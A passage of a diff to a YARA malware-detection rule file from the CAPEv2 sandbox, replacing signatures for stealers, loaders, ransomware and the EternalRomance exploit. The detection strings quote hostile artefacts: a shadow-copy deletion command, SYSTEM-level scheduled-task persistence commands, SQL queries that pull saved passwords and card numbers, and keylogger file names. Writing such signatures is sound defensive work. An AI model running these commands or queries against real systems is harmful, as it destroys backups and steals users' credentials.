{FF D2 8B 2B 8D 75 ?? 8B 5D ?? 33 5D ?? 8D 45} - $key2 = {89 0B 89 F9 5? 5? 5? E8 [4] 8B 3F 8D 6F 38 8B 77 30 33 77 34 8D 47 20 8D 4C 24 ?? 89 FA 5? E8} - $keyexpansion = {31 C0 8A 1C 82 88 1C 81 8A 5C 82 01 88 5C 81 01 8A 5C 82 02 88 5C 81 02 8A 5C 82 03 88 5C 81 03 4? 83 F8 08 75 ?? B? 08 00 00 00} - $antivm2 = {8B 43 04 8B 0D [4] 3B 81 [4] B? [2] 00 00 B? [2] 00 00 0F 44 D1 85 C0 0F 44 D1 8B 8A [4] 03 8A [4] FF E1 31 FF EB ?? 8B 78 0C 33 78 10 B? [4] 03 05 [4] FF D0} - $antivm1 = {39 04 11 0f 94 C3 8B 44 ?? ?? 85 C0} + $crypto1 = {8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 C9 00 FF FF FF 41} + $sha1_1 = {5? 33 F? [0-9] 89 7? 24 ?? 89 7? 24 ?? 8? [1-3] 24 [1-4] C7 44 24 ?0 01 23 45 67 C7 44 24 ?4 89 AB CD EF C7 44 24 ?8 FE DC BA 98 C7 44 24 ?C 76 54 32 10 C7 44 24 ?0 F0 E1 D2 C3} + $sha1_2 = {33 C0 C7 01 01 23 45 67 89 41 14 89 41 18 89 41 5C C7 41 04 89 AB CD EF C7 41 08 FE DC BA 98 C7 41 0C 76 54 32 10 C7 41 10 F0 E1 D2 C3 89 41 60 89 41 64 C3} + $anti_sandbox1 = {8D 4? FC [0-1] E8 [4-7] E8 [4] 85 C0 7E (04|07) [4-7] 33 (C0|D2) 74 02 EB FA} + $anti_sandbox2 = {8D 45 ?? 50 E8 [2] 00 00 59 68 [4] FF 15 [4] 89 45 ?? 83 7D ?? 0F 76 0C} + $decrypt_config1 = {FF 37 83 C3 EC 53 8B 5D 0C 8D 43 14 50 6A 14 53 E8 ?? ?? ?? ?? 83 C4 14 85 C0 ?? 26 ?? ?? 86 20 02 00 00 66 85 C0 ?? ?? FF 37 FF 75 10 53} + $decrypt_config2 = {8B 45 08 8B 88 24 04 00 00 51 8B 55 10 83 EA 14 52 8B 45 0C 83 C0 14 50 6A 14 8B 4D 0C 51 E8 6C 08 00 00} + $decrypt_config3 = {6A 13 8B CE 8B C3 5A 8A 18 3A 19 75 05 40 41 4A 75 F5 0F B6 00 0F B6 09 2B C1 74 05 83 C8 FF EB 0E} + $call_decrypt = {83 7D ?? 00 56 74 0B FF 75 10 8B F3 E8 [4] 59 8B 45 0C 83 F8 28 72 19 8B 55 08 8B 37 8D 48 EC 6A 14 8D 42 14 52 E8} condition: - 3 of them + uint16( 0 ) == 0x5A4D and any of ( $* ) } -rule CAPE_Aurorastealer : FILE +rule CAPE_Eternalromance : FILE { meta: - description = "detects Aurora Stealer samples" - author = "Johannes Bader @viql" - id = "07779318-3e5d-5e67-8c04-f3f70d7e48b7" - date = "2022-12-14" - modified = "2023-03-31" + description = "EternalRomance Exploit" + author = "kevoreilly" + id = "34035076-9dda-5e32-bd0b-d0257a96329b" + date = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AuroraStealer.yar#L1-L74" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0d10e9268184f494a73d5b4ab0d9a478ad0c26d2ef13d5134f8c9769f028b8f5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/EternalRomance.yar#L1-L33" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5390fae3e2411a715cdc965df8648c0c4c511d53d5f76031714f1b784b58eb0d" score = 75 - quality = 45 + quality = 68 tags = "FILE" - version = "v1.0" - tlp = "TLP:WHITE" - malpedia_family = "win.aurora_stealer" - hash1_md5 = "51c153501e991f6ce4901e6d9578d0c8" - hash1_sha1 = "3816f17052b28603855bde3e57db77a8455bdea4" - hash1_sha256 = "c148c449e1f6c4c53a7278090453d935d1ab71c3e8b69511f98993b6057f612d" - hash2_md5 = "65692e1d5b98225dbfb1b6b2b8935689" - hash2_sha1 = "0b51765c175954c9e47c39309e020bcb0f90b783" - hash2_sha256 = "5a42aa4fc8180c7489ce54d7a43f19d49136bd15ed7decf81f6e9e638bdaee2b" - cape_type = "AuroraStealer Payload" + cape_type = "EternalRomance Exploit" strings: - $str_func_01 = "main.(*DATA_BLOB).ToByteArray" - $str_func_02 = "main.Base64Encode" - $str_func_03 = "main.Capture" - $str_func_04 = "main.CaptureRect" - $str_func_05 = "main.ConnectToServer" - $str_func_06 = "main.CreateImage" - $str_func_07 = "main.FileExsist" - $str_func_08 = "main.GetDisplayBounds" - $str_func_09 = "main.GetInfoUser" - $str_func_10 = "main.GetOS" - $str_func_11 = "main.Grab" - $str_func_12 = "main.MachineID" - $str_func_13 = "main.NewBlob" - $str_func_14 = "main.NumActiveDisplays" - $str_func_15 = "main.PathTrans" - $str_func_16 = "main.SendToServer_NEW" - $str_func_17 = "main.SetUsermame" - $str_func_18 = "main.Zip" - $str_func_19 = "main.base64Decode" - $str_func_20 = "main.countupMonitorCallback" - $str_func_21 = "main.enumDisplayMonitors" - $str_func_22 = "main.getCPU" - $str_func_23 = "main.getDesktopWindow" - $str_func_24 = "main.getGPU" - $str_func_25 = "main.getMasterKey" - $str_func_26 = "main.getMonitorBoundsCallback" - $str_func_27 = "main.getMonitorRealSize" - $str_func_28 = "main.sysTotalMemory" - $str_func_29 = "main.xDecrypt" - $str_type_01 = "type..eq.main.Browser_G" - $str_type_02 = "type..eq.main.STRUSER" - $str_type_03 = "type..eq.main.Telegram_G" - $str_type_04 = "type..eq.main.Crypto_G" - $str_type_05 = "type..eq.main.ScreenShot_G" - $str_type_06 = "type..eq.main.FileGrabber_G" - $str_type_07 = "type..eq.main.FTP_G" - $str_type_08 = "type..eq.main.Steam_G" - $str_type_09 = "type..eq.main.DATA_BLOB" - $str_type_10 = "type..eq.main.Grabber" - $varia_01 = "\\User Data\\Local State" - $varia_02 = "\\\\Opera Stable\\\\Local State" - $varia_03 = "Reconnect 1" - $varia_04 = "@ftmone" - $varia_05 = "^user^" - $varia_06 = "wmic path win32_VideoController get name" - $varia_07 = "\\AppData\\Roaming\\Telegram Desktop\\tdata" - $varia_08 = "C:\\Windows.old\\Users\\" - $varia_09 = "ScreenShot" - $varia_10 = "Crypto" + $SMB1 = "Frag" + $SMB2 = "Free" + $session7_32_1 = {2A 02 1C 00} + $session7_64_1 = {2A 02 28 00} + $session8_32_1 = {2A 02 24 00} + $session8_64_1 = {2A 02 38 00} + $session7_32_2 = {D5 FD E3 FF} + $session7_64_2 = {D5 FD D7 FF} + $session8_32_2 = {D5 FD DB FF} + $session8_64_2 = {D5 FD C7 FF} + $ipc = "IPC$" + $pipe1 = "atsvc" + $pipe2 = "browser" + $pipe3 = "eventlog" + $pipe4 = "lsarpc" + $pipe5 = "netlogon" + $pipe6 = "ntsvcs" + $pipe7 = "spoolss" + $pipe8 = "samr" + $pipe9 = "srvsvc" + $pipe10 = "scerpc" + $pipe11 = "svcctl" + $pipe12 = "wkssvc" condition: - uint16( 0 ) == 0x5A4D and ( 32 of ( $str_* ) or 9 of ( $varia_* ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $SMB* ) ) and $ipc and ( any of ( $session* ) ) and ( any of ( $pipe* ) ) } -rule CAPE_Kovter : FILE +rule CAPE_Darkcloud : FILE { meta: - description = "Kovter Payload" - author = "kevoreilly" - id = "3dec3c4b-4678-5ed1-a4c3-c3d9abb58b1c" - date = "2019-10-30" - modified = "2019-10-30" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Kovter.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "888fccb8fbfbe6c05ec63bc5658b4743f8e10a96ef51b3868c2ff94afec76f2d" + description = "No description has been set in the source file - CAPE" + author = "YungBinary" + id = "b3071be2-07b0-5242-a985-7bb23fef258c" + date = "2025-10-16" + modified = "2025-10-16" + reference = "https://x.com/YungBinary/status/1971585972912689643" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/DarkCloud.yar#L1-L39" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "e9a67fce4c1e4ffa7322c225522263aa4db94ae9f29113a81f5216fb4fa68b57" score = 75 - quality = 70 + quality = 68 tags = "FILE" - cape_type = "Kovter Payload" + cape_type = "DarkCloud Payload" strings: - $a1 = "chkok" - $a2 = "k2Tdgo" - $a3 = "13_13_13" - $a4 = "Win Server 2008 R2" + $darkcloud1 = "===============DARKCLOUD===============" fullword wide + $creds1 = "@GateUrl" wide + $creds2 = "@StrFtpUser" wide + $creds3 = "@StrFtpPass" wide + $creds4 = "@StrFtpServer" wide + $creds5 = "@StrReceiver" wide + $creds6 = "@StrSmtpUser" wide + $creds7 = "@StrSmtpPass" wide + $sql1 = "SELECT item1 FROM metadata" wide + $sql2 = "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards" wide + $sql3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" wide + $sql4 = "SELECT address FROM ConversationRecipients" wide + $sql5 = "SELECT address FROM ConversationSenders" wide + $app1 = "Application : Pidgin" wide + $app2 = "Application: CoreFTP" wide + $app3 = "Application: WinSCP" wide + $app4 = "Application: Outlook" wide + $app5 = "Application : FileZilla" fullword wide + $fingerprint1 = "Computer Name: " fullword wide + $fingerprint2 = "OS FullName: " fullword wide + $fingerprint3 = "CPU: " fullword wide + $fingerprint4 = "SELECT * FROM Win32_Processor" fullword wide + $fingerprint5 = "SELECT * FROM Win32_OperatingSystem" fullword wide condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5a4d and ( $darkcloud1 and 1 of ( $creds* ) or ( 3 of ( $creds* ) and 1 of ( $sql* ) ) or ( 2 of ( $sql* ) and 2 of ( $app* ) ) or ( 2 of ( $creds* ) and 2 of ( $fingerprint* ) ) or ( 2 of ( $app* ) and 2 of ( $fingerprint* ) and 1 of ( $sql* ) ) ) } -rule CAPE_Kpot : FILE +rule CAPE_Atlas : FILE { meta: - description = "Kpot Stealer" + description = "Atlas Payload" author = "kevoreilly" - id = "724fd6ac-e734-5952-b459-01cbaffdb89d" - date = "2020-10-19" - modified = "2020-10-19" + id = "22322e5c-ded6-56df-8a39-a8f5cbc18239" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Kpot.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "75abaab9a10e8ac8808425c389238285ab9bd9cb76f0cd03cc1e35b3ea0a1b0f" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Atlas.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "c3f73b29df5caf804dbfe3e6ac07a9e2c772bd2a126f0487e4a65e72bd501e6e" score = 75 quality = 70 tags = "FILE" - cape_type = "Kpot Payload" + cape_type = "Atlas Payload" strings: - $format = "%s | %s | %s | %s | %s | %s | %s | %d | %s" - $username = "username:s:" - $os = "OS: %S x%d" + $a1 = "bye.bat" + $a2 = "task=knock&id=%s&ver=%s x%s&disks=%s&other=%s&ip=%s&pub=" + $a3 = "process call create \"cmd /c start vssadmin delete shadows /all /q" condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Adaptixbeacon +rule CAPE_Nanolocker : FILE { meta: - description = "AdaptixBeacon Payload" - author = "enzok" - id = "ae0bc10c-cfcd-59d4-8c24-34a03debe370" - date = "2025-06-16" - modified = "2025-10-28" + description = "NanoLocker Payload" + author = "kevoreilly" + id = "6fff6a27-a153-5461-9a75-2253c2f7d408" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AdaptixBeacon.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "f78f5803be5704420cbb2e0ac3c57fcb3d9cdf443fbf1233c069760bee115b5d" - logic_hash = "2c1d09cd5e19e5a09dde65411691afd5922959d4a7b5232b28ebf56f26d2f07d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/NanoLocker.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "fe6c8a4e259c3c526f8f50771251f6762b2b92a4df2e8bfc705f282489f757db" score = 75 quality = 70 - tags = "" - cape_type = "AdaptixBeacon Payload" + tags = "FILE" + cape_type = "NanoLocker Payload" strings: - $conf_1 = {8D ?? ?? E8 [3] 00 4? 89 [1-2] 4? 8B 4C 24 ?? E8 [3] 00 4? 8B 53 48 66 [0-1] 89 04 ?? E8} - $conf_2 = {E8 [3] 00 48 8B 4C 24 ?? 48 89 43 78 E8 [3] 00 48 8B 4C 24 ?? 89 83 80 00 00 00 E8 [3] 00 03 83 80 00 00 00 48 8B 4C 24} - $conf_3 = {E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 58 E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 60 E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 68} - $conf_4 = {8D ?? ?? 4? 89 ?? FF ?? 4? 89 ?? 4? 89 ?? 4? 8B ?? FF ?? ?? 4? 8B ?? 48 66 ?? 89 ?? ?? EB} - $conf_5 = {48 89 ?? 4? 89 ?? FF ?? 4? 89 ?? 4? 89 D9 4? 89 ?? ?? 4? 8B 03 FF ?? ?? 4? 89 ?? 4? 89 ?? 4? 89 ?? ?? 4? 8B 03 FF ?? ?? 4? 89} - $wininet_1 = {B9 77 00 00 00 [0-4] E8 [4] B9 69 00 00 00 88 ?4 24 [0-4] E8 [4] B9 6E 00 00 00 88 ?4 24} - $wininet_2 = {B9 69 00 00 00 88 ?4 24 [0-4] E8 [4] B9 6E 00 00 00 88 ?4 24 [0-4] E8 [4] B9 65 00 00 00 88 ?4 24} + $a1 = "NanoLocker" + $a2 = "$humanDeadline" + $a3 = "Decryptor.lnk" condition: - 1 of ( $conf_* ) and 1 of ( $wininet_* ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Amadey : FILE +rule CAPE_Nightshadec2 : FILE { meta: - description = "Amadey Payload" - author = "kevoreilly, YungBinary" - id = "81d251a2-84c3-524c-8ea5-c92ca8764777" - date = "2021-02-18" - modified = "2025-08-15" + description = "NightshadeC2 AKA CastleRAT - https://x.com/YungBinary/status/1963751038340534482" + author = "YungBinary" + id = "d70f9051-c7ab-537a-ab80-03ae7ef80b81" + date = "2025-09-04" + modified = "2025-09-12" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Amadey.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "988258716d5296c1323303e8fe4efd7f4642c87bfdbe970fe9a3bb3f410f70a4" - logic_hash = "5a7405a174b63826500f3b04c6f10bc9b40d5b49e85377bef027204e75dd1e9e" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/NightshadeC2.yar#L1-L20" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "963c012d56c62093d105ab5044517fdcce4ab826f7782b3e377932da1df6896d" + logic_hash = "f9fabc391e21180a1c92abea0a5ded6d7669e8d8f2330b69d6c1227c9b4237a0" score = 75 quality = 70 tags = "FILE" - cape_type = "Amadey Payload" + cape_type = "NightshadeC2 Payload" strings: - $decode1 = {8B D1 B8 FF FF FF 7F D1 EA 2B C2 3B C8 76 07 BB FF FF FF 7F EB 08 8D 04 0A 3B D8 0F 42 D8} - $decode2 = {2B C8 8D 04 0A 33 D2 F7 F3 8B 5D ?? 8B CB 83 7B ?? 10} - $decode3 = {33 D2 8B 4D ?? 8B C7 F7 F6 8A 84 3B [4] 2A 44 0A 01 88 87 [4] 47 8B 45 ?? 8D 50 01} - $decode4 = {8A 04 02 88 04 0F 41 8B 7D ?? 8D 42 01 3B CB 7C} + $s1 = "keylog.txt" fullword wide + $s2 = "\"%ws\" --mute-audio --do-not-de-elevate" fullword wide + $s3 = "\"%ws\" -no-deelevate" fullword wide + $s4 = "MachineGuid" fullword wide + $s5 = "www.ip-api.com" fullword wide + $s6 = "rundll32 \"C:\\Windows\\System32\\shell32.dll\" #61" fullword wide + $s7 = "IsabellaWine" fullword wide + $s8 = "Shell_TrayWnd" fullword wide condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5A4D and 3 of them } -rule CAPE_Hancitor : FILE +rule CAPE_Scarab : FILE { meta: - description = "Hancitor Payload" - author = "threathive" - id = "b4e9a26a-db00-5553-acc2-f35148b0ffd5" + description = "Scarab Payload" + author = "kevoreilly" + id = "2ba8ae50-1e56-5773-aaea-058161b59c78" date = "2019-10-30" - modified = "2020-10-20" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Hancitor.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "84003542a2f587b5fbd43731c4240759806f8ee46df2bd96aae4a3c09d97e41c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Scarab.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0d8fa7ab4c8e5699f17f9e9444e85a42563a840a8e7ee9eda54add3a6845d1c6" score = 75 quality = 70 tags = "FILE" - cape_type = "Hancitor Payload" + cape_type = "Scarab Payload" strings: - $fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" - $fmt_string2 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)" - $ipfy = "http://api.ipify.org" - $user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" + $crypt1 = {8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08} + $crypt2 = {8B 4C 82 0C 8B D9 C1 E3 18 C1 E9 08 0B D9 8B CB 0F B6 D9 8B 1C 9D AC 0C 43 00 89 5C 24 04 8B D9 C1 EB 08 0F B6 DB 8B 34 9D AC 0C 43 00 8B D9 C1 EB 10} + $crypt3 = {8B 13 8B CA 81 E1 80 80 80 80 8B C1 C1 E8 07 50 8B C1 59 2B C1 25 1B 1B 1B 1B 8B CA 81 E1 7F 7F 7F 7F 03 C9 33 C1 8B C8 81 E1 80 80 80 80 8B F1 C1 EE 07} condition: uint16( 0 ) == 0x5A4D and all of them @@ -65507,8 +65347,8 @@ rule CAPE_Emotetloader : FILE date = "2022-05-31" modified = "2022-05-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/EmotetLoader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/EmotetLoader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "410872d25ed3a89a2cba108f952d606cd1c3bf9ccc89ae6ab3377b83665c2773" score = 75 quality = 70 @@ -65521,320 +65361,242 @@ rule CAPE_Emotetloader : FILE condition: uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Magniber : FILE +rule CAPE_Badrabbit : FILE { meta: - description = "Magniber Payload" + description = "BadRabbit Payload" author = "kevoreilly" - id = "a704914f-2aa2-537d-975d-f8c23427951f" + id = "c7204772-6f14-57b7-88c1-e9156f9897d5" date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Magniber.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "1875754bdf98c1886f31f6c6e29992a98180f74d8fa168ae391e2c660d760618" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BadRabbit.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "309e14ab4ea2f919358631f9d8b2aaff1f51e7708b6114e4e6bf4a9d9a5fc86c" score = 75 quality = 70 tags = "FILE" - cape_type = "Magniber Payload" + cape_type = "BadRabbit Payload" strings: - $a1 = {8B 55 FC 83 C2 01 89 55 FC 8B 45 FC 3B 45 08 7D 45 6A 01 6A 00 E8 26 FF FF FF 83 C4 08 89 45 F4 83 7D F4 00 75 18 6A 7A 6A 61 E8 11 FF FF FF 83 C4 08 8B 4D FC 8B 55 F8 66 89 04 4A EB 16} + $a1 = "caforssztxqzf2nm.onion" wide + $a2 = "schtasks /Create /SC once /TN drogon /RU SYSTEM" wide + $a3 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal" wide condition: uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Nitrogenloader -{ - meta: - description = "Nitrogen Loader" - author = "enzok" - id = "450dc039-c5d5-5d81-945c-def94671825f" - date = "2024-10-29" - modified = "2025-07-28" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/NitrogenLoader.yar#L1-L35" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "4aab353aacc8f6910884e722f2d57439891680963accb906c2cee245437732c6" - score = 75 - quality = 68 - tags = "" - cape_type = "NitrogenLoader Loader" - hash1 = "7b603d63a23201ff0b6ffa9acdd650df9caa1731837d559d93b3d8ce1d82a962" - hash2 = "50c2afd792bfe2966133ee385054eaae1f73b04e013ef3434ef2407f99d7f037" - hash3 = "4926dee7da0da522c34ffeebb32f28703fd689a52543332c8d28ccfea223f43a" - - strings: - $stringaes1 = {63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 c9 7d fa} - $stringaes2 = {52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c e3 39 82 9b} - $string1 = "GetComputerNameExA" - $string2 = "LoadResource" - $syscallmakehashes = {48 89 4C 24 ?? 48 89 54 24 ?? 4? 89 44 24 ?? 4? 89 4C 24 ?? 4? 83 EC ?? B? [4] E8 [3] 00} - $syscallnumber = {49 89 C3 B? [4] E8 [3] 00} - $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} - $decryptstr1 = {33 D2 48 8B 04 24 B? 0C 00 00 00 48 F7 F1 48 8B C2 48 C1 E0 02 0F B6 C8 48 8B 44 24 ?? 48 D3 E8 48 25 AB 00 00 00} - $decryptrsc1 = {48 63 4? 24 ?? 33 D2 48 [0-3] F7 B4 24 [4] 48 8B C2 48 8B 8C 24 [4] 0F BE 04 01} - $decryptrsc2 = {8B ?? 24 [1-4] 33 C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} - $decryptrsc3 = {8B 8C 24 ?? ?? ?? ?? 2B C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} - $decryptstrs = {33 D2 48 8B 04 24 B9 0C 00 00 00 48 F7 F1 48 8B C2 48 C1 E0 02 0F B6 C8 48 8B 44 24 ?? 48 D3 E8 48 25 AB 00 00 00} - $taskman_1 = {E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [4] B9 6B 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_2 = {B9 4D 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_3 = {B9 61 00 00 00 88 84 24 [4] E8 [4] B9 67 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] 31 C9 88 84 24 [4] E8 [3] FF} - $installers_1 = {B9 49 00 00 00 E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_2 = {B9 74 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6C 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_3 = {B9 6C 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} - $rc4decrypt_1 = {48 89 ?? 4? 89 ?? E8 [4] 4? 8B ?? 24 [1-4] 4? 89 ?? 4? 89 ?? 4? 89 C1 [0-1] 89 ?? E8 [4] 4? 89} - $rc4decrypt_2 = {E8 [4] 8B ?? 24 [1-4] 4? 89 ?? 48 89 ?? 4? 89 C1 E8 [3] FF} - - condition: - (2 of ( $string* ) and any of ( $syscall* ) ) or 4 of ( $decrypt* ) or ( ( 3 of ( $taskman_* ) or 3 of ( $installers* ) ) and all of ( $rc4decrypt_* ) ) -} -rule CAPE_Agent_Tesla +rule CAPE_Tclient : FILE { meta: - description = "Detecting HTML strings used by Agent Tesla malware" - author = "Stormshield" - id = "5383994b-357d-539b-89b1-53be238f759d" + description = "TClient Payload" + author = "kevoreilly" + id = "38c9ea20-9d91-5fb0-8b3b-170538ad7ea8" date = "2019-10-30" - modified = "2026-01-14" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AgentTesla.yar#L1-L17" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "3945754129dcc58e0abfd7485f5ff0c0afdd1078ae2cf164ca8f59a6f79db1be" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/TClient.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6edcd01e4722b367723ed77d9596877d16ee35dc4c160885d125f83e45cee24d" score = 75 quality = 70 - tags = "" - version = "1.0" + tags = "FILE" + cape_type = "TClient Payload" strings: - $html_username = "
UserName      : " wide ascii - $html_pc_name = "
PC Name       : " wide ascii - $html_os_name = "
OS Full Name  : " wide ascii - $html_os_platform = "
OS Platform   : " wide ascii - $html_clipboard = "
